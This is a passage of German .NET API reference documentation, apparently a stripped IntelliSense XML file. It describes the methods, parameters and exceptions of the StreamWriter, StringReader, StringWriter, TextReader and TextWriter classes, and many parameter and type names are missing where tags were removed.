Puffers kann nicht in den zugrunde liegenden Stream fester Größe geschrieben werden, da der sich am Ende des Streams befindet. + 1 + + + Schreibt ein Zeichenarray in den Stream. + Ein Zeichenarray mit den zu schreibenden Daten.Wenn den Wert null ist, wird nichts geschrieben. + E/A-Fehler. + + ist true, oder der -Puffer ist voll, und der aktuelle Writer ist geschlossen. + + ist true, oder der -Puffer ist voll, und der Inhalt des Puffers kann nicht in den zugrunde liegenden Stream fester Größe geschrieben werden, da der sich am Ende des Streams befindet. + 1 + + + Schreibt ein Teilarray von Zeichen in den Stream. + Ein Zeichenarray, das die zu schreibenden Daten enthält. + Die Zeichenposition im Puffer, an der mit dem Lesen von Daten begonnen werden soll. + Die maximale Anzahl der zu schreibenden Zeichen. + + ist null. + Die Länge des Puffers minus ist kleiner als . + + oder ist negativ. + E/A-Fehler. + + ist true, oder der -Puffer ist voll, und der aktuelle Writer ist geschlossen. + + ist true, oder der -Puffer ist voll, und der Inhalt des Puffers kann nicht in den zugrunde liegenden Stream fester Größe geschrieben werden, da der sich am Ende des Streams befindet. + 1 + + + Schreibt eine Zeichenfolge in den Stream. + Die Zeichenfolge, die in den Stream geschrieben werden soll.Wenn den Wert NULL hat, wird nichts geschrieben. + + ist true, oder der -Puffer ist voll, und der aktuelle Writer ist geschlossen. + + ist true, oder der -Puffer ist voll, und der Inhalt des Puffers kann nicht in den zugrunde liegenden Stream fester Größe geschrieben werden, da der sich am Ende des Streams befindet. + E/A-Fehler. + 1 + + + Schreibt ein Zeichen asynchron in den Stream. + Eine Aufgabe, die den asynchronen Schreibvorgang darstellt. + Das in den Stream zu schreibende Zeichen. + Der Streamwriter wird freigegeben. + Der Streamwriter wird derzeit von einem vorherigen Schreibvorgang verwendet. + + + Schreibt ein Teilarray von Zeichen asynchron in den Stream. + Eine Aufgabe, die den asynchronen Schreibvorgang darstellt. + Ein Zeichenarray, das die zu schreibenden Daten enthält. + Die Zeichenposition im Puffer, an der mit dem Lesen von Daten begonnen werden soll. + Die maximale Anzahl der zu schreibenden Zeichen. + + ist null. + Der und ist größer als die Pufferlänge. + + oder ist negativ. + Der Streamwriter wird freigegeben. + Der Streamwriter wird derzeit von einem vorherigen Schreibvorgang verwendet. + + + Schreibt eine Zeichenfolge asynchron in den Stream. + Eine Aufgabe, die den asynchronen Schreibvorgang darstellt. + Die Zeichenfolge, die in den Stream geschrieben werden soll.Wenn den Wert null ist, wird nichts geschrieben. + Der Streamwriter wird freigegeben. + Der Streamwriter wird derzeit von einem vorherigen Schreibvorgang verwendet. + + + Schreibt ein Zeichen für den Zeilenabschluss asynchron in den Stream. + Eine Aufgabe, die den asynchronen Schreibvorgang darstellt. + Der Streamwriter wird freigegeben. + Der Streamwriter wird derzeit von einem vorherigen Schreibvorgang verwendet. + + + Schreibt ein Zeichen, gefolgt von einem Zeichen für den Zeilenabschluss asynchron in den Stream. + Eine Aufgabe, die den asynchronen Schreibvorgang darstellt. + Das in den Stream zu schreibende Zeichen. + Der Streamwriter wird freigegeben. + Der Streamwriter wird derzeit von einem vorherigen Schreibvorgang verwendet. + + + Schreibt ein Teilarray von Zeichen, gefolgt von einem Zeichen für den Zeilenabschluss, asynchron in den Stream. + Eine Aufgabe, die den asynchronen Schreibvorgang darstellt. + Das Zeichenarray, aus dem Daten geschrieben werden sollen. + Die Zeichenposition im Puffer, an der mit dem Lesen von Daten begonnen werden soll. + Die maximale Anzahl der zu schreibenden Zeichen. + + ist null. + Der und ist größer als die Pufferlänge. + + oder ist negativ. + Der Streamwriter wird freigegeben. + Der Streamwriter wird derzeit von einem vorherigen Schreibvorgang verwendet. + + + Schreibt eine Zeichenfolge, gefolgt von einem Zeichen für den Zeilenabschluss, asynchron in den Stream. + Eine Aufgabe, die den asynchronen Schreibvorgang darstellt. + Die zu schreibende Zeichenfolge.Wenn der Wert null ist, wird nur ein Zeichen für den Zeilenabschluss geschrieben. + Der Streamwriter wird freigegeben. + Der Streamwriter wird derzeit von einem vorherigen Schreibvorgang verwendet. + + + Implementiert einen , der aus einer Zeichenfolge liest. + 2 + + + Initialisiert eine neue Instanz der -Klasse, die aus der angegebenen Zeichenfolge liest. + Die Zeichenfolge, mit der der initialisiert werden soll. + Der -Parameter ist null. + + + Gibt die vom verwendeten nicht verwalteten Ressourcen und optional auch die verwalteten Ressourcen frei. + true, um sowohl verwaltete als auch nicht verwaltete Ressourcen freizugeben, false, um ausschließlich nicht verwaltete Ressourcen freizugeben. + + + Gibt das nächste verfügbare Zeichen zurück, ohne es zu verarbeiten. + Eine ganze Zahl, die das nächste zu lesende Zeichen darstellt, oder auch -1, wenn keine weiteren Zeichen verfügbar sind oder der Stream keine Suchvorgänge unterstützt. + Der aktuelle Reader ist geschlossen. + 2 + + + Liest das nächste Zeichen aus der Eingabezeichenfolge und verschiebt die Zeichenposition um ein Zeichen nach vorn. + Das nächste Zeichen in der zugrunde liegenden Zeichenfolge oder -1, wenn keine weiteren Zeichen verfügbar sind. + Der aktuelle Reader ist geschlossen. + 2 + + + Liest einen Zeichenblock aus der Eingabezeichenfolge und verschiebt die Zeichenposition um die durch angegebene Anzahl von Zeichen nach vorn. + Die Gesamtanzahl der in den Puffer gelesenen Zeichen.Diese kann kleiner als die Anzahl der angeforderten Zeichen sein, wenn diese Anzahl von Zeichen derzeit nicht verfügbar ist, oder 0, wenn das Ende der zugrunde liegenden Zeichenfolge erreicht ist. + Enthält nach dem Beenden dieser Methode das angegebene Zeichenarray mit den Werten zwischen und ( + - 1), die durch die aus der aktuellen Quelle gelesenen Zeichen ersetzt wurden. + Der Anfangsindex im Puffer. + Die Anzahl der zu lesenden Zeichen. + + ist null. + Die Länge des Puffers minus ist kleiner als . + + oder ist negativ. + Der aktuelle Reader ist geschlossen. + 2 + + + Liest eine angegebene Höchstanzahl von Zeichen asynchron aus der aktuellen Zeichenkette und schreibt die Daten in einen Puffer, wobei am angegebenen Index begonnen wird. + Eine Aufgabe, die den asynchronen Lesevorgang darstellt.Der Wert des -Parameters enthält die Gesamtzahl der Bytes, die in den Puffer gelesen werden.Der Ergebniswert kann niedriger als die Anzahl der angeforderten Bytes sein, wenn die Anzahl an derzeit verfügbaren Bytes kleiner ist als die angeforderte Anzahl, oder sie kann 0 (null) sein, wenn das Zeichenfolgenende erreicht ist. + Enthält nach dem Beenden dieser Methode das angegebene Zeichenarray mit den Werten zwischen und ( + - 1), die durch die aus der aktuellen Quelle gelesenen Zeichen ersetzt wurden. + Die Position in , an der mit dem Schreiben begonnen wird. + Die maximale Anzahl der zu lesenden Zeichen.Wenn das Ende der Zeichenfolge erreicht ist, bevor die angegebene Anzahl von Zeichen in den Puffer geschrieben wurde, erfolgt die Methodenrückgabe. + + ist null. + + oder ist negativ. + Die Summe aus und ist größer als die Pufferlänge. + Der Zeichenfolgen-Reader wurde freigegeben. + Der Reader wird gerade durch einen früheren Lesevorgang verwendet. + + + Liest eine angegebene Höchstanzahl von Zeichen asynchron aus der aktuellen Zeichenkette und schreibt die Daten in einen Puffer, wobei am angegebenen Index begonnen wird. + Eine Aufgabe, die den asynchronen Lesevorgang darstellt.Der Wert des -Parameters enthält die Gesamtzahl der Bytes, die in den Puffer gelesen werden.Der Ergebniswert kann niedriger als die Anzahl der angeforderten Bytes sein, wenn die Anzahl an derzeit verfügbaren Bytes kleiner ist als die angeforderte Anzahl, oder sie kann 0 (null) sein, wenn das Zeichenfolgenende erreicht ist. + Enthält nach dem Beenden dieser Methode das angegebene Zeichenarray mit den Werten zwischen und ( + - 1), die durch die aus der aktuellen Quelle gelesenen Zeichen ersetzt wurden. + Die Position in , an der mit dem Schreiben begonnen wird. + Die maximale Anzahl der zu lesenden Zeichen.Wenn das Ende der Zeichenfolge erreicht ist, bevor die angegebene Anzahl von Zeichen in den Puffer geschrieben wurde, erfolgt die Methodenrückgabe. + + ist null. + + oder ist negativ. + Die Summe aus und ist größer als die Pufferlänge. + Der Zeichenfolgen-Reader wurde freigegeben. + Der Reader wird gerade durch einen früheren Lesevorgang verwendet. + + + Liest eine Zeile von Zeichen aus der aktuellen Zeichenkette und gibt die Daten als Zeichenfolge zurück. + Die nächste Zeile der aktuellen Zeichenfolge oder null, wenn das Ende der Zeichenfolge erreicht ist. + Der aktuelle Reader ist geschlossen. + Es ist nicht genügend Speicherplatz vorhanden, um einen Puffer für die zurückgegebene Zeichenfolge zu reservieren. + 2 + + + Liest eine Zeile von Zeichen asynchron aus der aktuellen Zeichenkette und gibt die Daten als Zeichenfolge zurück. + Eine Aufgabe, die den asynchronen Lesevorgang darstellt.Der Wert des -Parameters enthält die nächste Zeile aus dem Zeichenfolgenreader oder null, wenn alle Zeichen gelesen wurden. + Die Anzahl der Zeichen in der nächsten Zeile ist größer als . + Der Zeichenfolgen-Reader wurde freigegeben. + Der Reader wird gerade durch einen früheren Lesevorgang verwendet. + + + Liest alle Zeichen von der aktuellen Position bis zum Ende des Streams und gibt diese als einzelne Zeichenfolge zurück. + Der Inhalt ab der aktuellen Position bis zum Ende der zugrunde liegenden Zeichenfolge. + Es ist nicht genügend Speicherplatz vorhanden, um einen Puffer für die zurückgegebene Zeichenfolge zu reservieren. + Der aktuelle Reader ist geschlossen. + 2 + + + Liest alle Zeichen asynchron von der aktuellen Position bis zum Ende des Streams und gibt diese als einzelne Zeichenfolge zurück. + Eine Aufgabe, die den asynchronen Lesevorgang darstellt.Der Wert des -Parameters enthält eine Zeichenfolge mit den Zeichen von der aktuellen Position bis zum Ende der Zeichenfolge. + Die Anzahl der Zeichen ist niedriger als . + Der Zeichenfolgen-Reader wurde freigegeben. + Der Reader wird gerade durch einen früheren Lesevorgang verwendet. + + + Implementiert einen zum Schreiben von Informationen in eine Zeichenfolge.Die Informationen werden in einem zugrunde liegenden gespeichert. + 2 + + + Initialisiert eine neue Instanz der -Klasse. + + + Initialisiert eine neue Instanz der -Klasse mit dem angegebenen Formatierungssteuerelement. + Ein -Objekt zum Steuern der Formatierung. + + + Initialisiert eine neue Instanz der -Klasse zum Schreiben in den angegebenen . + Der StringBuilder, in den geschrieben werden soll. + + ist null. + + + Initialisiert eine neue Instanz der -Klasse zum Schreiben in den angegebenen und mit dem angegebenen Formatanbieter. + Der StringBuilder, in den geschrieben werden soll. + Ein -Objekt zum Steuern der Formatierung. + + ist null. + + + Gibt die von verwendeten nicht verwalteten Ressourcen und optional auch die verwalteten Ressourcen frei. + true, um sowohl verwaltete als auch nicht verwaltete Ressourcen freizugeben, false, um ausschließlich nicht verwaltete Ressourcen freizugeben. + + + Ruft die ab, in der die Ausgabe geschrieben wird. + Die Encoding, in der die Ausgabe geschrieben wird. + 1 + + + Löscht sämtliche Puffer für den aktuellen Writer asynchron und veranlasst die Ausgabe aller gepufferten Daten an das zugrunde liegende Gerät. + Eine Aufgabe, die die asynchrone Leerung darstellt. + + + Gibt den zugrunde liegenden zurück. + Der zugrunde liegende StringBuilder. + 2 + + + Gibt eine Zeichenfolge zurück, die die bisher in den aktuellen StringWriter geschriebenen Zeichen enthält. + Die Zeichenfolge, die die bisher in den aktuellen StringWriter geschriebenen Zeichen enthält. + 2 + + + Schreibt ein Zeichen in die Zeichenfolge. + Das zu schreibende Zeichen. + Der Writer ist geschlossen. + 2 + + + Schreibt ein Teilarray von Zeichen in die Zeichenfolge. + Das Zeichenarray, aus dem Daten geschrieben werden sollen. + Die Position im Puffer, an der mit dem Lesen von Daten begonnen werden soll. + Die maximale Anzahl der zu schreibenden Zeichen. + + ist null. + + oder ist negativ. + ( + )> .Length. + Der Writer ist geschlossen. + 2 + + + Schreibt eine Zeichenfolge in die aktuelle Zeichenfolge. + Die zu schreibende Zeichenfolge. + Der Writer ist geschlossen. + 2 + + + Schreibt ein Zeichen asynchron in die Zeichenfolge. + Eine Aufgabe, die den asynchronen Schreibvorgang darstellt. + Das in die Zeichenfolge zu schreibende Zeichen. + Der Zeichenfolgenwriter wird freigegeben. + Der Zeichenfolgenwriter wird derzeit von einem vorherigen Schreibvorgang verwendet. + + + Schreibt ein Teilarray von Zeichen asynchron in die Zeichenfolge. + Eine Aufgabe, die den asynchronen Schreibvorgang darstellt. + Das Zeichenarray, aus dem Daten geschrieben werden sollen. + Die Position im Puffer, an der mit dem Lesen von Daten begonnen werden soll. + Die maximale Anzahl der zu schreibenden Zeichen. + + ist null. + Der und ist größer als die Pufferlänge. + + oder ist negativ. + Der Zeichenfolgenwriter wird freigegeben. + Der Zeichenfolgenwriter wird derzeit von einem vorherigen Schreibvorgang verwendet. + + + Schreibt eine Zeichenfolge asynchron in die aktuelle Zeichenfolge. + Eine Aufgabe, die den asynchronen Schreibvorgang darstellt. + Die zu schreibende Zeichenfolge.Wenn den Wert null hat, wird nichts in den Stream geschrieben. + Der Zeichenfolgenwriter wird freigegeben. + Der Zeichenfolgenwriter wird derzeit von einem vorherigen Schreibvorgang verwendet. + + + Schreibt ein Zeichen, gefolgt von einem Zeichen für den Zeilenabschluss asynchron in die Zeichenfolge. + Eine Aufgabe, die den asynchronen Schreibvorgang darstellt. + Das in die Zeichenfolge zu schreibende Zeichen. + Der Zeichenfolgenwriter wird freigegeben. + Der Zeichenfolgenwriter wird derzeit von einem vorherigen Schreibvorgang verwendet. + + + Schreibt ein Teilarray von Zeichen, gefolgt von einem Zeichen für den Zeilenabschluss, asynchron in die Zeichenfolge. + Eine Aufgabe, die den asynchronen Schreibvorgang darstellt. + Das Zeichenarray, aus dem Daten geschrieben werden sollen. + Die Position im Puffer, an der mit dem Lesen von Daten begonnen werden soll. + Die maximale Anzahl der zu schreibenden Zeichen. + + ist null. + Der und ist größer als die Pufferlänge. + + oder ist negativ. + Der Zeichenfolgenwriter wird freigegeben. + Der Zeichenfolgenwriter wird derzeit von einem vorherigen Schreibvorgang verwendet. + + + Schreibt eine Zeichenfolge gefolgt von einem Zeichen für den Zeilenabschluss asynchron in die aktuelle Zeichenfolge. + Eine Aufgabe, die den asynchronen Schreibvorgang darstellt. + Die zu schreibende Zeichenfolge.Wenn der Wert null ist, wird nur ein Zeichen für den Zeilenabschluss geschrieben. + Der Zeichenfolgenwriter wird freigegeben. + Der Zeichenfolgenwriter wird derzeit von einem vorherigen Schreibvorgang verwendet. + + + Stellt ein Leseprogramm dar, das eine sequenzielle Serie von Zeichenfolgen lesen kann. + 2 + + + Initialisiert eine neue Instanz der -Klasse. + + + Gibt alle vom -Objekt verwendeten Ressourcen frei. + + + Gibt die von verwendeten nicht verwalteten Ressourcen und optional die verwalteten Ressourcen frei. + true, um sowohl verwaltete als auch nicht verwaltete Ressourcen freizugeben, false, um ausschließlich nicht verwaltete Ressourcen freizugeben. + + + Stellt einen TextReader ohne zu lesende Daten bereit. + 1 + + + Liest das nächste Zeichen, ohne den Zustand des Readers oder der Zeichenquelle zu ändern.Gibt das nächste verfügbare Zeichen zurück, ohne es tatsächlich aus dem Reader zu lesen. + Eine Ganzzahl, die das nächste zu lesende Zeichen darstellt, oder auch -1, wenn keine weiteren Zeichen verfügbar sind oder der Reader keine Suchvorgänge unterstützt. + Der ist geschlossen. + E/A-Fehler. + 1 + + + Liest das nächste Zeichen aus dem Text-Reader und verschiebt die Zeichenposition um ein Zeichen nach vorn. + Das nächste Zeichen im Textreader, bzw. -1, wenn keine weiteren Zeichen verfügbar sind.Die Standardimplementierung gibt -1 zurück. + Der ist geschlossen. + E/A-Fehler. + 1 + + + Liest eine angegebene Höchstanzahl von Zeichen aus dem aktuellen Reader und schreibt die Daten in einen Puffer, wobei am angegebenen Index begonnen wird. + Die Anzahl der gelesenen Zeichen.Die Anzahl ist kleiner oder gleich , abhängig davon, ob die Daten im Reader verfügbar sind.Diese Methode gibt 0 (null) zurück für den Fall, dass sie aufgerufen wird, wenn keine Zeichen mehr zu lesen sind. + Enthält nach dem Beenden dieser Methode das angegebene Zeichenarray mit den Werten zwischen und ( + - 1), die durch die aus der aktuellen Quelle gelesenen Zeichen ersetzt wurden. + Die Position in , an der mit dem Schreiben begonnen wird. + Die maximale Anzahl der zu lesenden Zeichen.Wenn das Ende des Readers erreicht ist, bevor die angegebene Anzahl von Zeichen in den Puffer gelesen wurde, erfolgt die Methodenrückgabe. + + ist null. + Die Länge des Puffers minus ist kleiner als . + + oder ist negativ. + Der ist geschlossen. + E/A-Fehler. + 1 + + + Liest asynchron eine angegebene Höchstanzahl von Zeichen aus dem aktuellen Textreader und schreibt die Daten in einen Puffer, wobei am angegebenen Index begonnen wird. + Eine Aufgabe, die den asynchronen Lesevorgang darstellt.Der Wert des -Parameters enthält die Gesamtzahl der Bytes, die in den Puffer gelesen werden.Der Ergebniswert kann niedriger als die Anzahl der angeforderten Bytes sein, wenn die Anzahl an derzeit verfügbaren Bytes kleiner ist als die angeforderte Anzahl, oder sie kann 0 (null) sein, wenn das Textende erreicht ist. + Enthält nach dem Beenden dieser Methode das angegebene Zeichenarray mit den Werten zwischen und ( + - 1), die durch die aus der aktuellen Quelle gelesenen Zeichen ersetzt wurden. + Die Position in , an der mit dem Schreiben begonnen wird. + Die maximale Anzahl der zu lesenden Zeichen.Wenn das Ende des Texts erreicht ist, bevor die angegebene Anzahl von Zeichen in den Puffer gelesen wurde, erfolgt die aktuelle Methodenrückgabe. + + ist null. + + oder ist negativ. + Die Summe aus und ist größer als die Pufferlänge. + Der Textreader wurde freigegeben. + Der Reader wird gerade durch einen früheren Lesevorgang verwendet. + + + Liest eine angegebene Höchstanzahl von Zeichen aus dem aktuellen Textreader und schreibt die Daten in einen Puffer, wobei am angegebenen Index begonnen wird. + Die Anzahl der gelesenen Zeichen.Die Anzahl ist kleiner oder gleich , je nachdem, ob alle Eingabezeichen gelesen wurden. + Dieser Parameter enthält nach dem Beenden dieser Methode das angegebene Zeichenarray mit den Werten zwischen und ( + -1), die durch die aus der aktuellen Quelle gelesenen Zeichen ersetzt wurden. + Die Position in , an der mit dem Schreiben begonnen wird. + Die maximale Anzahl der zu lesenden Zeichen. + + ist null. + Die Länge des Puffers minus ist kleiner als . + + oder ist negativ. + Der ist geschlossen. + E/A-Fehler. + 2 + + + Liest asynchron eine angegebene Höchstanzahl von Zeichen aus dem aktuellen Textreader und schreibt die Daten in einen Puffer, wobei am angegebenen Index begonnen wird. + Eine Aufgabe, die den asynchronen Lesevorgang darstellt.Der Wert des -Parameters enthält die Gesamtzahl der Bytes, die in den Puffer gelesen werden.Der Ergebniswert kann niedriger als die Anzahl der angeforderten Bytes sein, wenn die Anzahl an derzeit verfügbaren Bytes kleiner ist als die angeforderte Anzahl, oder sie kann 0 (null) sein, wenn das Textende erreicht ist. + Enthält nach dem Beenden dieser Methode das angegebene Zeichenarray mit den Werten zwischen und ( + - 1), die durch die aus der aktuellen Quelle gelesenen Zeichen ersetzt wurden. + Die Position in , an der mit dem Schreiben begonnen wird. + Die maximale Anzahl der zu lesenden Zeichen.Wenn das Ende des Texts erreicht ist, bevor die angegebene Anzahl von Zeichen in den Puffer gelesen wurde, erfolgt die aktuelle Methodenrückgabe. + + ist null. + + oder ist negativ. + Die Summe aus und ist größer als die Pufferlänge. + Der Textreader wurde freigegeben. + Der Reader wird gerade durch einen früheren Lesevorgang verwendet. + + + Liest eine Zeile von Zeichen aus dem Textleser und gibt die Daten als Zeichenfolge zurück. + Die nächste Zeile des Readers oder null, wenn alle Zeichen gelesen wurden. + E/A-Fehler. + Es ist nicht genügend Speicherplatz vorhanden, um einen Puffer für die zurückgegebene Zeichenfolge zu reservieren. + Der ist geschlossen. + Die Anzahl der Zeichen in der nächsten Zeile ist größer als . + 1 + + + Liest eine Zeile von asynchron Zeichen aus dem aktuellen Stream und gibt die Daten als Zeichenfolge zurück. + Eine Aufgabe, die den asynchronen Lesevorgang darstellt.Der Wert des -Parameters enthält die nächste Zeile aus dem Textreader oder null, wenn alle Zeichen gelesen wurden. + Die Anzahl der Zeichen in der nächsten Zeile ist größer als . + Der Textreader wurde freigegeben. + Der Reader wird gerade durch einen früheren Lesevorgang verwendet. + + + Liest alle Zeichen von der aktuellen Position bis zum Ende des Text-Readers und gibt diese als eine Zeichenfolge zurück. + Eine Zeichenfolge mit allen Zeichen von der aktuellen Position bis zum Ende des Textreaders. + E/A-Fehler. + Der ist geschlossen. + Es ist nicht genügend Speicherplatz vorhanden, um einen Puffer für die zurückgegebene Zeichenfolge zu reservieren. + Die Anzahl der Zeichen in der nächsten Zeile ist größer als . + 1 + + + Liest alle Zeichen asynchron von der aktuellen Position bis zum Ende des Text-Readers und gibt diese als eine Zeichenfolge zurück. + Eine Aufgabe, die den asynchronen Lesevorgang darstellt.Der Wert des -Parameters enthält eine Zeichenfolge mit den Zeichen von der aktuellen Position bis zum Ende des Textreaders. + Die Anzahl der Zeichen ist niedriger als . + Der Textreader wurde freigegeben. + Der Reader wird gerade durch einen früheren Lesevorgang verwendet. + + + Stellt einen Writer dar, der eine sequenzielle Serie von Zeichen schreiben kann.Diese Klasse ist abstrakt. + 2 + + + Initialisiert eine neue Instanz der -Klasse. + + + Initialisiert eine neue Instanz der -Klasse mit dem angegebenen Formatanbieter. + Ein -Objekt zum Steuern der Formatierung. + + + Speichert die für diesen TextWriter verwendeten Zeilenendemarken. + + + Gibt alle vom -Objekt verwendeten Ressourcen frei. + + + Gibt die von verwendeten nicht verwalteten Ressourcen und optional die verwalteten Ressourcen frei. + true, um sowohl verwaltete als auch nicht verwaltete Ressourcen freizugeben, false, um ausschließlich nicht verwaltete Ressourcen freizugeben. + + + Gibt beim Überschreiben in einer abgeleiteten Klasse die Zeichencodierung zurück, in der die Ausgabe geschrieben ist. + Die Zeichencodierung, in der die Ausgabe geschrieben wird. + 1 + + + Löscht sämtliche Puffer für den aktuellen Writer und veranlasst die Ausgabe aller gepufferten Daten an das zugrunde liegende Gerät. + 1 + + + Löscht sämtliche Puffer für den aktuellen Writer asynchron und veranlasst die Ausgabe aller gepufferten Daten an das zugrunde liegende Gerät. + Eine Aufgabe, die die asynchrone Leerung darstellt. + Der Textwriter wird freigegeben. + Der Writer wird derzeit von einem vorherigen Schreibvorgang verwendet. + + + Ruft ein Objekt zum Steuern der Formatierung ab. + Ein -Objekt für eine bestimmte Kultur oder die Formatierung der aktuellen Kultur, wenn keine andere Kultur angegeben wurde. + 2 + + + Ruft die Zeichenfolge für den Zeilenabschluss ab, die vom aktuellen TextWriter verwendet wird, oder legt diese fest. + Die Zeichenfolge für den Zeilenabschluss für den aktuellen TextWriter. + 2 + + + Stellt einen TextWriter ohne Sicherungsspeicher bereit, in den zwar geschrieben, aus dem jedoch nicht gelesen werden kann. + 1 + + + Schreibt die Textdarstellung eines Boolean-Werts in die Textzeichenfolge oder den Stream. + Der zu schreibende Boolean-Wert. + Der ist geschlossen. + E/A-Fehler. + 1 + + + Schreibt ein Zeichen in die Textzeichenfolge oder den Stream. + Das in den Textstream zu schreibende Zeichen. + Der ist geschlossen. + E/A-Fehler. + 1 + + + Schreibt ein Zeichenarray in die Textzeichenfolge oder den Stream. + Das in den Textstream zu schreibende Zeichenarray. + Der ist geschlossen. + E/A-Fehler. + 1 + + + Schreibt ein Teilarray von Zeichen in die Textzeichenfolge oder den Stream. + Das Zeichenarray, aus dem Daten geschrieben werden sollen. + Die Zeichenposition im Puffer, an der mit dem Abrufen von Daten begonnen werden soll. + Die Anzahl der zu schreibenden Zeichen. + Die Länge des Puffers minus ist kleiner als . + Der -Parameter ist null. + + oder ist negativ. + Der ist geschlossen. + E/A-Fehler. + 1 + + + Schreibt die Textdarstellung eines Dezimalwerts in die Textzeichenfolge oder den Stream. + Der zu schreibende Dezimalwert. + Der ist geschlossen. + E/A-Fehler. + 1 + + + Schreibt die Textdarstellung eines 8-Byte-Gleitkommawerts in die Textzeichenfolge oder den Stream. + Der zu schreibende 8-Byte-Gleitkommawert. + Der ist geschlossen. + E/A-Fehler. + 1 + + + Schreibt die Textdarstellung einer 4-Byte-Ganzzahl mit Vorzeichen in die Textzeichenfolge oder den Stream. + Die zu schreibende 4-Byte-Ganzzahl mit Vorzeichen. + Der ist geschlossen. + E/A-Fehler. + 1 + + + Schreibt die Textdarstellung einer 8-Byte-Ganzzahl mit Vorzeichen in die Textzeichenfolge oder den Stream. + Die zu schreibende 8-Byte-Ganzzahl mit Vorzeichen. + Der ist geschlossen. + E/A-Fehler. + 1 + + + Schreibt die Textdarstellung eines Objekts in die Textzeichenfolge oder den Stream, indem für das Objekt die ToString-Methode aufgerufen wird. + Das zu schreibende Objekt. + Der ist geschlossen. + E/A-Fehler. + 1 + + + Schreibt die Textdarstellung eines 4-Byte-Gleitkommawerts in die Textzeichenfolge oder den Stream. + Der zu schreibende 4-Byte-Gleitkommawert. + Der ist geschlossen. + E/A-Fehler. + 1 + + + Schreibt eine Zeichenfolge in die Textzeichenfolge oder den Stream. + Die zu schreibende Zeichenfolge. + Der ist geschlossen. + E/A-Fehler. + 1 + + + Schreibt eine formatierte Zeichenfolge in die Textzeichenfolge oder den Stream unter Verwendung der gleichen Semantik wie die -Methode. + Eine kombinierte Formatierungszeichenfolge (siehe Hinweise). + Das zu formatierende und zu schreibende Objekt. + + ist null. + Der ist geschlossen. + E/A-Fehler. + + ist keine gültige kombinierte Formatzeichenfolge.- oder - Der Index eines Formatelements ist kleiner als 0 (null) oder größer/gleich der Anzahl der zu formatierenden Objekte (1 für diese Methodenüberladung). + 1 + + + Schreibt eine formatierte Zeichenfolge in die Textzeichenfolge oder den Stream unter Verwendung der gleichen Semantik wie die -Methode. + Eine kombinierte Formatierungszeichenfolge (siehe Hinweise). + Das erste zu formatierende und zu schreibende Objekt. + Das zweite zu formatierende und zu schreibende Objekt. + + ist null. + Der ist geschlossen. + E/A-Fehler. + + ist keine gültige kombinierte Formatzeichenfolge.- oder - Der Index eines Formatelements ist kleiner als 0 (null) oder größer/gleich der Anzahl der zu formatierenden Objekte (2 für diese Methodenüberladung). + 1 + + + Schreibt eine formatierte Zeichenfolge in die Textzeichenfolge oder den Stream unter Verwendung der gleichen Semantik wie die -Methode. + Eine kombinierte Formatierungszeichenfolge (siehe Hinweise). + Das erste zu formatierende und zu schreibende Objekt. + Das zweite zu formatierende und zu schreibende Objekt. + Das dritte zu formatierende und zu schreibende Objekt. + + ist null. + Der ist geschlossen. + E/A-Fehler. + + ist keine gültige kombinierte Formatzeichenfolge.- oder - Der Index eines Formatelements ist kleiner als 0 (null) oder größer/gleich der Anzahl der zu formatierenden Objekte (3 für diese Methodenüberladung). + 1 + + + Schreibt eine formatierte Zeichenfolge in die Textzeichenfolge oder den Stream unter Verwendung der gleichen Semantik wie die -Methode. + Eine kombinierte Formatierungszeichenfolge (siehe Hinweise). + Ein Objektarray mit 0 (null) oder mehr zu formatierenden und zu schreibenden Objekten. + + oder ist null. + Der ist geschlossen. + E/A-Fehler. + + ist keine gültige kombinierte Formatzeichenfolge.- oder - Der Index eines Formatelements ist kleiner als 0 (null) oder größer oder gleich der Länge des -Arrays. + 1 + + + Schreibt die Textdarstellung einer 4-Byte-Ganzzahl ohne Vorzeichen in die Textzeichenfolge oder den Stream. + Die zu schreibende 4-Byte-Ganzzahl ohne Vorzeichen. + Der ist geschlossen. + E/A-Fehler. + 1 + + + Schreibt die Textdarstellung einer 8-Byte-Ganzzahl ohne Vorzeichen in die Textzeichenfolge oder den Stream. + Die zu schreibende 8-Byte-Ganzzahl ohne Vorzeichen. + Der ist geschlossen. + E/A-Fehler. + 1 + + + Schreibt ein Zeichen asynchron in die Textzeichenfolge oder den Stream. + Eine Aufgabe, die den asynchronen Schreibvorgang darstellt. + Das in den Textstream zu schreibende Zeichen. + Der Textwriter wird freigegeben. + Der Textwriter wird derzeit von einem vorherigen Schreibvorgang verwendet. + + + Schreibt ein Zeichenarray asynchron in die Textzeichenfolge oder den Stream. + Eine Aufgabe, die den asynchronen Schreibvorgang darstellt. + Das in den Textstream zu schreibende Zeichenarray.Wenn den Wert null ist, wird nichts geschrieben. + Der Textwriter wird freigegeben. + Der Textwriter wird derzeit von einem vorherigen Schreibvorgang verwendet. + + + Schreibt ein Teilarray von Zeichen asynchron in die Textzeichenfolge oder den Stream. + Eine Aufgabe, die den asynchronen Schreibvorgang darstellt. + Das Zeichenarray, aus dem Daten geschrieben werden sollen. + Die Zeichenposition im Puffer, an der mit dem Abrufen von Daten begonnen werden soll. + Die Anzahl der zu schreibenden Zeichen. + + ist null. + Der und ist größer als die Pufferlänge. + + oder ist negativ. + Der Textwriter wird freigegeben. + Der Textwriter wird derzeit von einem vorherigen Schreibvorgang verwendet. + + + Schreibt eine Zeichenfolge asynchron in die Textzeichenfolge oder den Stream. + Eine Aufgabe, die den asynchronen Schreibvorgang darstellt. + Die zu schreibende Zeichenfolge.Wenn den Wert null hat, wird nichts in den Stream geschrieben. + Der Textwriter wird freigegeben. + Der Textwriter wird derzeit von einem vorherigen Schreibvorgang verwendet. + + + Schreibt ein Zeichen für den Zeilenabschluss in die Textzeichenfolge oder den Stream. + Der ist geschlossen. + E/A-Fehler. + 1 + + + Schreibt die Textdarstellung eines Boolean-Werts, gefolgt von einem Zeichen für den Zeilenabschluss, in die Textzeichenfolge oder den Stream. + Der zu schreibende Boolean-Wert. + Der ist geschlossen. + E/A-Fehler. + 1 + + + Schreibt ein Zeichen, gefolgt von einem Zeichen für den Zeilenabschluss, in die Textzeichenfolge oder den Stream. + Das in den Textstream zu schreibende Zeichen. + Der ist geschlossen. + E/A-Fehler. + 1 + + + Schreibt ein Array von Zeichen, gefolgt von einem Zeichen für den Zeilenabschluss, in die Textzeichenfolge oder den Stream. + Das Zeichenarray, aus dem die Daten gelesen werden. + Der ist geschlossen. + E/A-Fehler. + 1 + + + Schreibt ein Teilarray von Zeichen, gefolgt von einem Zeichen für den Zeilenabschluss, in die Textzeichenfolge oder den Stream. + Das Zeichenarray, aus dem die Daten gelesen werden. + Die Zeichenposition im , an der mit 